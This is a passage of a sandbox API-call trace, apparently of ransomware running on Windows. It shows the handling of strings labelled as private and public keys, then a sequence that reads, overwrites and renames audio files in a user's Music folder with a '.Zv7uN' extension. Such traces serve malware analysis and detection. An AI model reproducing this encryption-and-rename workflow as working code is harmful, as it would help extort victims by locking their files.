w6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0729c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.402] GetCurrentThreadId () returned 0xa30 [0086.402] GetCurrentThreadId () returned 0xa30 [0086.402] GetCurrentThreadId () returned 0xa30 [0086.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f182fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.403] GetCurrentThreadId () returned 0xa30 [0086.403] GetCurrentThreadId () returned 0xa30 [0086.404] GetCurrentThreadId () returned 0xa30 [0086.404] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\W-WQwcGzdDbcBmDqlU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\w-wqwcgzddbcbmdqlu.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.404] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0086.404] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.404] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x18393 [0086.404] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.404] ReadFile (in: hFile=0x104, lpBuffer=0x1f20100, nNumberOfBytesToRead=0x18393, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f20100*, lpNumberOfBytesRead=0x18f108*=0x18393, lpOverlapped=0x0) returned 1 [0086.408] CloseHandle (hObject=0x104) returned 1 [0086.410] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\W-WQwcGzdDbcBmDqlU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\w-wqwcgzddbcbmdqlu.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.414] WriteFile (in: hFile=0x104, lpBuffer=0x1f3a130*, nNumberOfBytesToWrite=0x18393, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f3a130*, lpNumberOfBytesWritten=0x18f114*=0x18393, lpOverlapped=0x0) returned 1 [0086.420] CloseHandle (hObject=0x104) returned 1 [0086.423] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\W-WQwcGzdDbcBmDqlU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\w-wqwcgzddbcbmdqlu.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\W-WQwcGzdDbcBmDqlU.mp3.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\w-wqwcgzddbcbmdqlu.mp3.zv7un")) returned 1 [0086.424] GetCurrentThreadId () returned 0xa30 [0086.424] GetCurrentThreadId () returned 0xa30 [0086.424] GetCurrentThreadId () returned 0xa30 [0086.424] GetCurrentThreadId () returned 0xa30 [0086.424] GetCurrentThreadId () returned 0xa30 [0086.424] GetCurrentThreadId () returned 0xa30 [0086.424] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff5e50, ftCreationTime.dwHighDateTime=0x1d5e35f, ftLastAccessTime.dwLowDateTime=0xd31dbac0, ftLastAccessTime.dwHighDateTime=0x1d5dabe, ftLastWriteTime.dwLowDateTime=0xd31dbac0, ftLastWriteTime.dwHighDateTime=0x1d5dabe, nFileSizeHigh=0x0, nFileSizeLow=0x18393, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="W-WQwcGzdDbcBmDqlU.mp3", cAlternateFileName="W-WQWC~1.MP3")) returned 0 [0086.424] GetLastError () returned 0x12 [0086.424] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0086.424] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e1c070, ftCreationTime.dwHighDateTime=0x1d5dadd, ftLastAccessTime.dwLowDateTime=0x516d45c0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x516d45c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0086.424] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0086.424] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.425] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e1c070, ftCreationTime.dwHighDateTime=0x1d5dadd, ftLastAccessTime.dwLowDateTime=0x516d45c0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x516d45c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.425] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.425] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.425] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcef33290, ftCreationTime.dwHighDateTime=0x1d5d90b, ftLastAccessTime.dwLowDateTime=0x820acaa0, ftLastAccessTime.dwHighDateTime=0x1d5d87b, ftLastWriteTime.dwLowDateTime=0x515c9c20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x35c4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="beD8iWFmEj7sj19_RcTk.m4a.Zv7uN", cAlternateFileName="BED8IW~1.ZV7")) returned 1 [0086.425] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.425] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.425] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2038d0, ftCreationTime.dwHighDateTime=0x1d5ddc5, ftLastAccessTime.dwLowDateTime=0x2b902f50, ftLastAccessTime.dwHighDateTime=0x1d5e2e7, ftLastWriteTime.dwLowDateTime=0x515efd80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x76c2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="gNZDQ.wav.Zv7uN", cAlternateFileName="GNZDQW~1.ZV7")) returned 1 [0086.425] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.425] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.425] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248e9a50, ftCreationTime.dwHighDateTime=0x1d5e0dc, ftLastAccessTime.dwLowDateTime=0x9de80590, ftLastAccessTime.dwHighDateTime=0x1d5d811, ftLastWriteTime.dwLowDateTime=0x516621a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa722, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="heHZ11T-y5rNyaj1d.mp3.Zv7uN", cAlternateFileName="HEHZ11~1.ZV7")) returned 1 [0086.425] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.425] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.425] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe058ab0, ftCreationTime.dwHighDateTime=0x1d5e7ec, ftLastAccessTime.dwLowDateTime=0x33a58d40, ftLastAccessTime.dwHighDateTime=0x1d5df6b, ftLastWriteTime.dwLowDateTime=0x51688300, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x19cf, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="pPjEdESc.mp3.Zv7uN", cAlternateFileName="PPJEDE~1.ZV7")) returned 1 [0086.425] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.425] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.425] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff5e50, ftCreationTime.dwHighDateTime=0x1d5e35f, ftLastAccessTime.dwLowDateTime=0xd31dbac0, ftLastAccessTime.dwHighDateTime=0x1d5dabe, ftLastWriteTime.dwLowDateTime=0x516d45c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x18393, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="W-WQwcGzdDbcBmDqlU.mp3.Zv7uN", cAlternateFileName="W-WQWC~1.ZV7")) returned 1 [0086.425] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.425] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.426] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff5e50, ftCreationTime.dwHighDateTime=0x1d5e35f, ftLastAccessTime.dwLowDateTime=0xd31dbac0, ftLastAccessTime.dwHighDateTime=0x1d5dabe, ftLastWriteTime.dwLowDateTime=0x516d45c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x18393, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="W-WQwcGzdDbcBmDqlU.mp3.Zv7uN", cAlternateFileName="W-WQWC~1.ZV7")) returned 0 [0086.426] GetLastError () returned 0x12 [0086.426] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0086.426] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e8e11b0, ftCreationTime.dwHighDateTime=0x1d5dcc1, ftLastAccessTime.dwLowDateTime=0x121d29d0, ftLastAccessTime.dwHighDateTime=0x1d5df70, ftLastWriteTime.dwLowDateTime=0x5150b540, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="IR9lejbyUUswtBcUmqP.wav.Zv7uN", cAlternateFileName="IR9LEJ~1.ZV7")) returned 1 [0086.426] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.426] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.426] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2684470, ftCreationTime.dwHighDateTime=0x1d5e2c2, ftLastAccessTime.dwLowDateTime=0x4a092ac0, ftLastAccessTime.dwHighDateTime=0x1d5e4a1, ftLastWriteTime.dwLowDateTime=0x51557800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x65b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="M-B0QD.wav.Zv7uN", cAlternateFileName="M-B0QD~1.ZV7")) returned 1 [0086.426] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.426] FileTimeToDosDateTime (in: lpFileTime=0x18f480, 